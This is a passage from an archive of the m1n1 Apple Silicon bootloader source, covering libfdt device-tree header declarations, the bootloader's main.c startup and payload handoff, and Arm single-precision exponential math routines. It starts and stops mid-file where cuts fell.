-FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ #define fdt_setprop_empty(fdt, nodeoffset, name) \ fdt_setprop((fdt), (nodeoffset), (name), NULL, 0) /** * fdt_appendprop - append to or create a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to append to * @val: pointer to data to append to the property value * @len: length of the data to append to the property value * * fdt_appendprop() appends the value to the named property in the * given node, creating the property if it does not already exist. * * This function may insert data into the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_appendprop(void *fdt, int nodeoffset, const char *name, const void *val, int len); /** * fdt_appendprop_u32 - append a 32-bit integer value to a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 32-bit integer value to append to the property (native endian) * * fdt_appendprop_u32() appends the given 32-bit integer value * (converting to big-endian if necessary) to the value of the named * property in the given node, or creates a new property with that * value if it does not already exist. * * This function may insert data into the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_appendprop_u32(void *fdt, int nodeoffset, const char *name, uint32_t val) { fdt32_t tmp = cpu_to_fdt32(val); return fdt_appendprop(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_appendprop_u64 - append a 64-bit integer value to a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @val: 64-bit integer value to append to the property (native endian) * * fdt_appendprop_u64() appends the given 64-bit integer value * (converting to big-endian if necessary) to the value of the named * property in the given node, or creates a new property with that * value if it does not already exist. * * This function may insert data into the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ static inline int fdt_appendprop_u64(void *fdt, int nodeoffset, const char *name, uint64_t val) { fdt64_t tmp = cpu_to_fdt64(val); return fdt_appendprop(fdt, nodeoffset, name, &tmp, sizeof(tmp)); } /** * fdt_appendprop_cell - append a single cell value to a property * * This is an alternative name for fdt_appendprop_u32() */ static inline int fdt_appendprop_cell(void *fdt, int nodeoffset, const char *name, uint32_t val) { return fdt_appendprop_u32(fdt, nodeoffset, name, val); } /** * fdt_appendprop_string - append a string to a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to change * @name: name of the property to change * @str: string value to append to the property * * fdt_appendprop_string() appends the given string to the value of * the named property in the given node, or creates a new property * with that value if it does not already exist. * * This function may insert data into the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain the new property value * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_TRUNCATED, standard meanings */ #define fdt_appendprop_string(fdt, nodeoffset, name, str) \ fdt_appendprop((fdt), (nodeoffset), (name), (str), strlen(str)+1) /** * fdt_appendprop_addrrange - append a address range property * @fdt: pointer to the device tree blob * @parent: offset of the parent node * @nodeoffset: offset of the node to add a property at * @name: name of property * @addr: start address of a given range * @size: size of a given range * * fdt_appendprop_addrrange() appends an address range value (start * address and size) to the value of the named property in the given * node, or creates a new property with that value if it does not * already exist. * If "name" is not specified, a default "reg" is used. * Cell sizes are determined by parent's #address-cells and #size-cells. * * This function may insert data into the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADNCELLS, if the node has a badly formatted or invalid * #address-cells property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADVALUE, addr or size doesn't fit to respective cells size * -FDT_ERR_NOSPACE, there is insufficient free space in the blob to * contain a new property * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_appendprop_addrrange(void *fdt, int parent, int nodeoffset, const char *name, uint64_t addr, uint64_t size); /** * fdt_delprop - delete a property * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to nop * @name: name of the property to nop * * fdt_del_property() will delete the given property. * * This function will delete data from the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_NOTFOUND, node does not have the named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_delprop(void *fdt, int nodeoffset, const char *name); /** * fdt_add_subnode_namelen - creates a new node based on substring * @fdt: pointer to the device tree blob * @parentoffset: structure block offset of a node * @name: name of the subnode to locate * @namelen: number of characters of name to consider * * Identical to fdt_add_subnode(), but use only the first namelen * characters of name as the name of the new node. This is useful for * creating subnodes based on a portion of a larger string, such as a * full path. */ #ifndef SWIG /* Not available in Python */ int fdt_add_subnode_namelen(void *fdt, int parentoffset, const char *name, int namelen); #endif /** * fdt_add_subnode - creates a new node * @fdt: pointer to the device tree blob * @parentoffset: structure block offset of a node * @name: name of the subnode to locate * * fdt_add_subnode() creates a new node as a subnode of the node at * structure block offset parentoffset, with the given name (which * should include the unit address, if any). * * This function will insert data into the blob, and will therefore * change the offsets of some existing nodes. * returns: * structure block offset of the created nodeequested subnode (>=0), on * success * -FDT_ERR_NOTFOUND, if the requested subnode does not exist * -FDT_ERR_BADOFFSET, if parentoffset did not point to an FDT_BEGIN_NODE * tag * -FDT_ERR_EXISTS, if the node at parentoffset already has a subnode of * the given name * -FDT_ERR_NOSPACE, if there is insufficient free space in the * blob to contain the new node * -FDT_ERR_NOSPACE * -FDT_ERR_BADLAYOUT * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings. */ int fdt_add_subnode(void *fdt, int parentoffset, const char *name); /** * fdt_del_node - delete a node (subtree) * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node to nop * * fdt_del_node() will remove the given node, including all its * subnodes if any, from the blob. * * This function will delete data from the blob, and will therefore * change the offsets of some existing nodes. * * returns: * 0, on success * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE tag * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_del_node(void *fdt, int nodeoffset); /** * fdt_overlay_apply - Applies a DT overlay on a base DT * @fdt: pointer to the base device tree blob * @fdto: pointer to the device tree overlay blob * * fdt_overlay_apply() will apply the given device tree overlay on the * given base device tree. * * Expect the base device tree to be modified, even if the function * returns an error. * * returns: * 0, on success * -FDT_ERR_NOSPACE, there's not enough space in the base device tree * -FDT_ERR_NOTFOUND, the overlay points to some nonexistent nodes or * properties in the base DT * -FDT_ERR_BADPHANDLE, * -FDT_ERR_BADOVERLAY, * -FDT_ERR_NOPHANDLES, * -FDT_ERR_INTERNAL, * -FDT_ERR_BADLAYOUT, * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADOFFSET, * -FDT_ERR_BADPATH, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_BADSTATE, * -FDT_ERR_TRUNCATED, standard meanings */ int fdt_overlay_apply(void *fdt, void *fdto); /**********************************************************************/ /* Debugging / informational functions */ /**********************************************************************/ const char *fdt_strerror(int errval); #ifdef __cplusplus } #endif #endif /* LIBFDT_H */ m1n1-1.4.11/src/libfdt/libfdt_env.h000066400000000000000000000052551453754430200167100ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #ifndef LIBFDT_ENV_H #define LIBFDT_ENV_H /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. * Copyright 2012 Kim Phillips, Freescale Semiconductor. */ #include #include #include #include #include #ifdef __CHECKER__ #define FDT_FORCE __attribute__((force)) #define FDT_BITWISE __attribute__((bitwise)) #else #define FDT_FORCE #define FDT_BITWISE #endif typedef uint16_t FDT_BITWISE fdt16_t; typedef uint32_t FDT_BITWISE fdt32_t; typedef uint64_t FDT_BITWISE fdt64_t; #define EXTRACT_BYTE(x, n) ((unsigned long long)((uint8_t *)&x)[n]) #define CPU_TO_FDT16(x) ((EXTRACT_BYTE(x, 0) << 8) | EXTRACT_BYTE(x, 1)) #define CPU_TO_FDT32(x) ((EXTRACT_BYTE(x, 0) << 24) | (EXTRACT_BYTE(x, 1) << 16) | \ (EXTRACT_BYTE(x, 2) << 8) | EXTRACT_BYTE(x, 3)) #define CPU_TO_FDT64(x) ((EXTRACT_BYTE(x, 0) << 56) | (EXTRACT_BYTE(x, 1) << 48) | \ (EXTRACT_BYTE(x, 2) << 40) | (EXTRACT_BYTE(x, 3) << 32) | \ (EXTRACT_BYTE(x, 4) << 24) | (EXTRACT_BYTE(x, 5) << 16) | \ (EXTRACT_BYTE(x, 6) << 8) | EXTRACT_BYTE(x, 7)) static inline uint16_t fdt16_to_cpu(fdt16_t x) { return (FDT_FORCE uint16_t)CPU_TO_FDT16(x); } static inline fdt16_t cpu_to_fdt16(uint16_t x) { return (FDT_FORCE fdt16_t)CPU_TO_FDT16(x); } static inline uint32_t fdt32_to_cpu(fdt32_t x) { return (FDT_FORCE uint32_t)CPU_TO_FDT32(x); } static inline fdt32_t cpu_to_fdt32(uint32_t x) { return (FDT_FORCE fdt32_t)CPU_TO_FDT32(x); } static inline uint64_t fdt64_to_cpu(fdt64_t x) { return (FDT_FORCE uint64_t)CPU_TO_FDT64(x); } static inline fdt64_t cpu_to_fdt64(uint64_t x) { return (FDT_FORCE fdt64_t)CPU_TO_FDT64(x); } #undef CPU_TO_FDT64 #undef CPU_TO_FDT32 #undef CPU_TO_FDT16 #undef EXTRACT_BYTE #ifdef __APPLE__ #include /* strnlen() is not available on Mac OS < 10.7 */ # if !defined(MAC_OS_X_VERSION_10_7) || (MAC_OS_X_VERSION_MAX_ALLOWED < \ MAC_OS_X_VERSION_10_7) #define strnlen fdt_strnlen /* * fdt_strnlen: returns the length of a string or max_count - which ever is * smallest. * Input 1 string: the string whose size is to be determined * Input 2 max_count: the maximum value returned by this function * Output: length of the string or max_count (the smallest of the two) */ static inline size_t fdt_strnlen(const char *string, size_t max_count) { const char *p = memchr(string, 0, max_count); return p ? p - string : max_count; } #endif /* !defined(MAC_OS_X_VERSION_10_7) || (MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_7) */ #endif /* __APPLE__ */ #endif /* LIBFDT_ENV_H */ m1n1-1.4.11/src/libfdt/libfdt_internal.h000066400000000000000000000134111453754430200177250ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #ifndef LIBFDT_INTERNAL_H #define LIBFDT_INTERNAL_H /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "fdt.h" #define FDT_ALIGN(x, a) (((x) + (a) - 1) & ~((a) - 1)) #define FDT_TAGALIGN(x) (FDT_ALIGN((x), FDT_TAGSIZE)) int32_t fdt_ro_probe_(const void *fdt); #define FDT_RO_PROBE(fdt) \ { \ int32_t totalsize_; \ if ((totalsize_ = fdt_ro_probe_(fdt)) < 0) \ return totalsize_; \ } int fdt_check_node_offset_(const void *fdt, int offset); int fdt_check_prop_offset_(const void *fdt, int offset); const char *fdt_find_string_(const char *strtab, int tabsize, const char *s); int fdt_node_end_offset_(void *fdt, int nodeoffset); static inline const void *fdt_offset_ptr_(const void *fdt, int offset) { return (const char *)fdt + fdt_off_dt_struct(fdt) + offset; } static inline void *fdt_offset_ptr_w_(void *fdt, int offset) { return (void *)(uintptr_t)fdt_offset_ptr_(fdt, offset); } static inline const struct fdt_reserve_entry *fdt_mem_rsv_(const void *fdt, int n) { const struct fdt_reserve_entry *rsv_table = (const struct fdt_reserve_entry *) ((const char *)fdt + fdt_off_mem_rsvmap(fdt)); return rsv_table + n; } static inline struct fdt_reserve_entry *fdt_mem_rsv_w_(void *fdt, int n) { return (void *)(uintptr_t)fdt_mem_rsv_(fdt, n); } #define FDT_SW_MAGIC (~FDT_MAGIC) /**********************************************************************/ /* Checking controls */ /**********************************************************************/ #ifndef FDT_ASSUME_MASK #define FDT_ASSUME_MASK 0 #endif /* * Defines assumptions which can be enabled. Each of these can be enabled * individually. For maximum safety, don't enable any assumptions! * * For minimal code size and no safety, use ASSUME_PERFECT at your own risk. * You should have another method of validating the device tree, such as a * signature or hash check before using libfdt. * * For situations where security is not a concern it may be safe to enable * ASSUME_SANE. */ enum { /* * This does essentially no checks. Only the latest device-tree * version is correctly handled. Inconsistencies or errors in the device * tree may cause undefined behaviour or crashes. Invalid parameters * passed to libfdt may do the same. * * If an error occurs when modifying the tree it may leave the tree in * an intermediate (but valid) state. As an example, adding a property * where there is insufficient space may result in the property name * being added to the string table even though the property itself is * not added to the struct section. * * Only use this if you have a fully validated device tree with * the latest supported version and wish to minimise code size. */ ASSUME_PERFECT = 0xff, /* * This assumes that the device tree is sane. i.e. header metadata * and basic hierarchy are correct. * * With this assumption enabled, normal device trees produced by libfdt * and the compiler should be handled safely. Malicious device trees and * complete garbage may cause libfdt to behave badly or crash. Truncated * device trees (e.g. those only partially loaded) can also cause * problems. * * Note: Only checks that relate exclusively to the device tree itself * (not the parameters passed to libfdt) are disabled by this * assumption. This includes checking headers, tags and the like. */ ASSUME_VALID_DTB = 1 << 0, /* * This builds on ASSUME_VALID_DTB and further assumes that libfdt * functions are called with valid parameters, i.e. not trigger * FDT_ERR_BADOFFSET or offsets that are out of bounds. It disables any * extensive checking of parameters and the device tree, making various * assumptions about correctness. * * It doesn't make sense to enable this assumption unless * ASSUME_VALID_DTB is also enabled. */ ASSUME_VALID_INPUT = 1 << 1, /* * This disables checks for device-tree version and removes all code * which handles older versions. * * Only enable this if you know you have a device tree with the latest * version. */ ASSUME_LATEST = 1 << 2, /* * This assumes that it is OK for a failed addition to the device tree, * due to lack of space or some other problem, to skip any rollback * steps (such as dropping the property name from the string table). * This is safe to enable in most circumstances, even though it may * leave the tree in a sub-optimal state. */ ASSUME_NO_ROLLBACK = 1 << 3, /* * This assumes that the device tree components appear in a 'convenient' * order, i.e. the memory reservation block first, then the structure * block and finally the string block. * * This order is not specified by the device-tree specification, * but is expected by libfdt. The device-tree compiler always created * device trees with this order. * * This assumption disables a check in fdt_open_into() and removes the * ability to fix the problem there. This is safe if you know that the * device tree is correctly ordered. See fdt_blocks_misordered_(). */ ASSUME_LIBFDT_ORDER = 1 << 4, /* * This assumes that libfdt itself does not have any internal bugs. It * drops certain checks that should never be needed unless libfdt has an * undiscovered bug. * * This can generally be considered safe to enable. */ ASSUME_LIBFDT_FLAWLESS = 1 << 5, }; /** * can_assume_() - check if a particular assumption is enabled * * @mask: Mask to check (ASSUME_...) * @return true if that assumption is enabled, else false */ static inline bool can_assume_(int mask) { return FDT_ASSUME_MASK & mask; } /** helper macros for checking assumptions */ #define can_assume(_assume) can_assume_(ASSUME_ ## _assume) #endif /* LIBFDT_INTERNAL_H */ m1n1-1.4.11/src/main.c000066400000000000000000000107541453754430200142470ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../build/build_cfg.h" #include "../build/build_tag.h" #include "../config.h" #include "adt.h" #include "aic.h" #include "cpufreq.h" #include "display.h" #include "exception.h" #include "fb.h" #include "firmware.h" #include "gxf.h" #include "heapblock.h" #include "mcc.h" #include "memory.h" #include "nvme.h" #include "payload.h" #include "pcie.h" #include "pmgr.h" #include "sep.h" #include "smp.h" #include "string.h" #include "uart.h" #include "uartproxy.h" #include "usb.h" #include "utils.h" #include "wdt.h" #include "xnuboot.h" struct vector_args next_stage; const char version_tag[] = "##m1n1_ver##" BUILD_TAG; const char *const m1n1_version = version_tag + 12; u32 board_id = ~0, chip_id = ~0; void get_device_info(void) { printf("Device info:\n"); printf(" Model: %s\n", (const char *)adt_getprop(adt, 0, "model", NULL)); printf(" Target: %s\n", (const char *)adt_getprop(adt, 0, "target-type", NULL)); int chosen = adt_path_offset(adt, "/chosen"); if (chosen > 0) { if (ADT_GETPROP(adt, chosen, "board-id", &board_id) < 0) printf("Failed to find board-id\n"); if (ADT_GETPROP(adt, chosen, "chip-id", &chip_id) < 0) printf("Failed to find chip-id\n"); printf(" Board-ID: 0x%x\n", board_id); printf(" Chip-ID: 0x%x\n", chip_id); } else { printf("No chosen node!\n"); } printf("\n"); } void run_actions(void) { bool usb_up = false; #ifndef BRINGUP #ifdef EARLY_PROXY_TIMEOUT int node = adt_path_offset(adt, "/chosen/asmb"); u64 lp_sip0 = 0; if (node >= 0) { ADT_GETPROP(adt, node, "lp-sip0", &lp_sip0); printf("Boot policy: sip0 = %ld\n", lp_sip0); } if (!cur_boot_args.video.display && lp_sip0 == 127) { printf("Bringing up USB for early debug...\n"); usb_init(); usb_iodev_init(); usb_up = true; printf("Waiting for proxy connection... "); for (int i = 0; i < EARLY_PROXY_TIMEOUT * 100; i++) { for (int j = 0; j < USB_IODEV_COUNT; j++) { iodev_id_t iodev = IODEV_USB0 + j; if (!(iodev_get_usage(iodev) & USAGE_UARTPROXY)) continue; usb_iodev_vuart_setup(iodev); iodev_handle_events(iodev); if (iodev_can_write(iodev) || iodev_can_write(IODEV_USB_VUART)) { printf(" Connected!\n"); uartproxy_run(NULL); return; } } mdelay(10); if (i % 100 == 99) printf("."); } printf(" Timed out\n"); } #endif #endif printf("Checking for payloads...\n"); if (payload_run() == 0) { printf("Valid payload found\n"); return; } fb_set_active(true); printf("No valid payload found\n"); #ifndef BRINGUP if (!usb_up) { usb_init(); usb_iodev_init(); } #endif printf("Running proxy...\n"); uartproxy_run(NULL); } void m1n1_main(void) { printf("\n\nm1n1 %s\n", m1n1_version); printf("Copyright The Asahi Linux Contributors\n"); printf("Licensed under the MIT license\n\n"); printf("Running in EL%lu\n\n", mrs(CurrentEL) >> 2); get_device_info(); firmware_init(); heapblock_init(); #ifndef BRINGUP gxf_init(); mcc_init(); mmu_init(); aic_init(); #endif wdt_disable(); #ifndef BRINGUP pmgr_init(); #ifdef USE_FB display_init(); // Kick DCP to sleep, so dodgy monitors which cause reconnect cycles don't cause us to lose the // framebuffer. display_shutdown(DCP_SLEEP_IF_EXTERNAL); fb_init(false); fb_display_logo(); #ifdef FB_SILENT_MODE fb_set_active(!cur_boot_args.video.display); #else fb_set_active(true); #endif #endif cpufreq_fixup(); sep_init(); #endif printf("Initialization complete.\n"); run_actions(); if (!next_stage.entry) { panic("Nothing to do!\n"); } printf("Preparing to run next stage at %p...\n", next_stage.entry); nvme_shutdown(); exception_shutdown(); #ifndef BRINGUP usb_iodev_shutdown(); display_shutdown(DCP_SLEEP_IF_EXTERNAL); #ifdef USE_FB fb_shutdown(next_stage.restore_logo); #endif mmu_shutdown(); #endif printf("Vectoring to next stage...\n"); next_stage.entry(next_stage.args[0], next_stage.args[1], next_stage.args[2], next_stage.args[3], next_stage.args[4]); panic("Next stage returned!\n"); } m1n1-1.4.11/src/math/000077500000000000000000000000001453754430200141015ustar00rootroot00000000000000m1n1-1.4.11/src/math/exp2f_data.c000066400000000000000000000030271453754430200162640ustar00rootroot00000000000000/* * Shared data between expf, exp2f and powf. * * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #include "exp2f_data.h" #define N (1 << EXP2F_TABLE_BITS) const struct exp2f_data __exp2f_data = { /* tab[i] = uint(2^(i/N)) - (i << 52-BITS) used for computing 2^(k/N) for an int |k| < 150 N as double(tab[k%N] + (k << 52-BITS)) */ .tab = { 0x3ff0000000000000, 0x3fefd9b0d3158574, 0x3fefb5586cf9890f, 0x3fef9301d0125b51, 0x3fef72b83c7d517b, 0x3fef54873168b9aa, 0x3fef387a6e756238, 0x3fef1e9df51fdee1, 0x3fef06fe0a31b715, 0x3feef1a7373aa9cb, 0x3feedea64c123422, 0x3feece086061892d, 0x3feebfdad5362a27, 0x3feeb42b569d4f82, 0x3feeab07dd485429, 0x3feea47eb03a5585, 0x3feea09e667f3bcd, 0x3fee9f75e8ec5f74, 0x3feea11473eb0187, 0x3feea589994cce13, 0x3feeace5422aa0db, 0x3feeb737b0cdc5e5, 0x3feec49182a3f090, 0x3feed503b23e255d, 0x3feee89f995ad3ad, 0x3feeff76f2fb5e47, 0x3fef199bdd85529c, 0x3fef3720dcef9069, 0x3fef5818dcfba487, 0x3fef7c97337b9b5f, 0x3fefa4afa2a490da, 0x3fefd0765b6e4540, }, .shift_scaled = 0x1.8p+52 / N, .poly = { 0x1.c6af84b912394p-5, 0x1.ebfce50fac4f3p-3, 0x1.62e42ff0c52d6p-1, }, .shift = 0x1.8p+52, .invln2_scaled = 0x1.71547652b82fep+0 * N, .poly_scaled = { 0x1.c6af84b912394p-5 / N / N / N, 0x1.ebfce50fac4f3p-3 / N / N, 0x1.62e42ff0c52d6p-1 / N, }, }; m1n1-1.4.11/src/math/exp2f_data.h000066400000000000000000000007501453754430200162710ustar00rootroot00000000000000/* * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #ifndef _EXP2F_DATA_H #define _EXP2F_DATA_H #include /* Shared between expf, exp2f and powf. */ #define EXP2F_TABLE_BITS 5 #define EXP2F_POLY_ORDER 3 extern const struct exp2f_data { uint64_t tab[1 << EXP2F_TABLE_BITS]; double shift_scaled; double poly[EXP2F_POLY_ORDER]; double shift; double invln2_scaled; double poly_scaled[EXP2F_POLY_ORDER]; } __exp2f_data; #endif m1n1-1.4.11/src/math/expf.c000066400000000000000000000040531453754430200152110ustar00rootroot00000000000000/* * Single-precision e^x function. * * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #include #include #include "exp2f_data.h" #include "libm.h" #define double_t double /* EXP2F_TABLE_BITS = 5 EXP2F_POLY_ORDER = 3 ULP error: 0.502 (nearest rounding.) Relative error: 1.69 * 2^-34 in [-ln2/64, ln2/64] (before rounding.) Wrong count: 170635 (all nearest rounding wrong results with fma.) Non-nearest ULP error: 1 (rounded ULP error) */ #define N (1 << EXP2F_TABLE_BITS) #define InvLn2N __exp2f_data.invln2_scaled #define T __exp2f_data.tab #define C __exp2f_data.poly_scaled static inline uint32_t top12(float x) { return asuint(x) >> 20; } float expf(float x) { uint32_t abstop; uint64_t ki, t; double_t kd, xd, z, r, r2, y, s; xd = (double_t)x; abstop = top12(x) & 0x7ff; if (predict_false(abstop >= top12(88.0f))) { /* |x| >= 88 or x is nan. */ if (asuint(x) == asuint(-INFINITY)) return 0.0f; if (abstop >= top12(INFINITY)) return x + x; if (x > 0x1.62e42ep6f) /* x > log(0x1p128) ~= 88.72 */ return __math_oflowf(0); if (x < -0x1.9fe368p6f) /* x < log(0x1p-150) ~= -103.97 */ return __math_uflowf(0); } /* x*N/Ln2 = k + r with r in [-1/2, 1/2] and int k. */ z = InvLn2N * xd; /* Round and convert z to int, the result is in [-150*N, 128*N] and ideally ties-to-even rule is used, otherwise the magnitude of r can be bigger which gives larger approximation error. */ #if TOINT_INTRINSICS kd = roundtoint(z); ki = converttoint(z); #else #define SHIFT __exp2f_data.shift kd = eval_as_double(z + SHIFT); ki = asuint64(kd); kd -= SHIFT; #endif r = z - kd; /* exp(x) = 2^(k/N) * 2^(r/N) ~= s * (C0*r^3 + C1*r^2 + C2*r + 1) */ t = T[ki % N]; t += ki << (52 - EXP2F_TABLE_BITS); s = asdouble(t); z = C[0] * r + C[1]; r2 = r * r; y = C[2] * r + 1; y = z * r2 + y; y = y * s; return eval_as_float(y); } m1n1-1.4.11/src/math/libm.h000066400000000000000000000234151453754430200152020ustar00rootroot00000000000000#ifndef _LIBM_H #define _LIBM_H #include #include #include #include #if LDBL_MANT_DIG == 53 && LDBL_MAX_EXP == 1024 #elif LDBL_MANT_DIG == 64 && LDBL_MAX_EXP == 16384 && __BYTE_ORDER == __LITTLE_ENDIAN union ldshape { long double f; struct { uint64_t m; uint16_t se; } i; }; #elif LDBL_MANT_DIG == 64 && LDBL_MAX_EXP == 16384 && __BYTE_ORDER == __BIG_ENDIAN /* This is the m68k variant of 80-bit long double, and this definition only works * on archs where the alignment requirement of uint64_t is <= 4. */ union ldshape { long double f; struct { uint16_t se; uint16_t pad; uint64_t m; } i; }; #elif LDBL_MANT_DIG == 113 && LDBL_MAX_EXP == 16384 && __BYTE_ORDER == __LITTLE_ENDIAN union ldshape { long double f; struct { uint64_t lo; uint32_t mid; uint16_t top; uint16_t se; } i; struct { uint64_t lo; uint64_t hi; } i2; }; #elif LDBL_MANT_DIG == 113 && LDBL_MAX_EXP == 16384 && __BYTE_ORDER == __BIG_ENDIAN union ldshape { long double f; struct { uint16_t se; uint16_t top; uint32_t mid; uint64_t lo; } i; struct { uint64_t hi; uint64_t lo; } i2; }; #else #error Unsupported long double representation #endif /* Support non-nearest rounding mode. */ #define WANT_ROUNDING 1 /* Support signaling NaNs. */ #define WANT_SNAN 0 #define WANT_ERRNO 0 #define WANT_ERRNO_UFLOW 0 #if WANT_SNAN #error SNaN is unsupported #else #define issignalingf_inline(x) 0 #define issignaling_inline(x) 0 #endif #ifndef TOINT_INTRINSICS #define TOINT_INTRINSICS 0 #endif #if TOINT_INTRINSICS /* Round x to nearest int in all rounding modes, ties have to be rounded consistently with converttoint so the results match. If the result would be outside of [-2^31, 2^31-1] then the semantics is unspecified. */ static double_t roundtoint(double_t); /* Convert x to nearest int in all rounding modes, ties have to be rounded consistently with roundtoint. If the result is not representible in an int32_t then the semantics is unspecified. */ static int32_t converttoint(double_t); #endif /* Helps static branch prediction so hot path can be better optimized. */ #ifdef __GNUC__ #define predict_true(x) __builtin_expect(!!(x), 1) #define predict_false(x) __builtin_expect(x, 0) #else #define predict_true(x) (x) #define predict_false(x) (x) #endif /* Evaluate an expression as the specified type. With standard excess precision handling a type cast or assignment is enough (with -ffloat-store an assignment is required, in old compilers argument passing and return statement may not drop excess precision). */ static inline float eval_as_float(float x) { float y = x; return y; } static inline double eval_as_double(double x) { double y = x; return y; } /* fp_barrier returns its input, but limits code transformations as if it had a side-effect (e.g. observable io) and returned an arbitrary value. */ #ifndef fp_barrierf #define fp_barrierf fp_barrierf static inline float fp_barrierf(float x) { volatile float y = x; return y; } #endif #ifndef fp_barrier #define fp_barrier fp_barrier static inline double fp_barrier(double x) { volatile double y = x; return y; } #endif #ifndef fp_barrierl #define fp_barrierl fp_barrierl static inline long double fp_barrierl(long double x) { volatile long double y = x; return y; } #endif /* fp_force_eval ensures that the input value is computed when that's otherwise unused. To prevent the constant folding of the input expression, an additional fp_barrier may be needed or a compilation mode that does so (e.g. -frounding-math in gcc). Then it can be used to evaluate an expression for its fenv side-effects only. */ #ifndef fp_force_evalf #define fp_force_evalf fp_force_evalf static inline void fp_force_evalf(float x) { volatile float y; y = x; (void)y; } #endif #ifndef fp_force_eval #define fp_force_eval fp_force_eval static inline void fp_force_eval(double x) { volatile double y; y = x; (void)y; } #endif #ifndef fp_force_evall #define fp_force_evall fp_force_evall static inline void fp_force_evall(long double x) { volatile long double y; y = x; (void)y; } #endif #define FORCE_EVAL(x) \ do { \ if (sizeof(x) == sizeof(float)) { \ fp_force_evalf(x); \ } else if (sizeof(x) == sizeof(double)) { \ fp_force_eval(x); \ } else { \ fp_force_evall(x); \ } \ } while (0) #define asuint(f) \ ((union { \ float _f; \ uint32_t _i; \ }){f}) \ ._i #define asfloat(i) \ ((union { \ uint32_t _i; \ float _f; \ }){i}) \ ._f #define asuint64(f) \ ((union { \ double _f; \ uint64_t _i; \ }){f}) \ ._i #define asdouble(i) \ ((union { \ uint64_t _i; \ double _f; \ }){i}) \ ._f #define EXTRACT_WORDS(hi, lo, d) \ do { \ uint64_t __u = asuint64(d); \ (hi) = __u >> 32; \ (lo) = (uint32_t)__u; 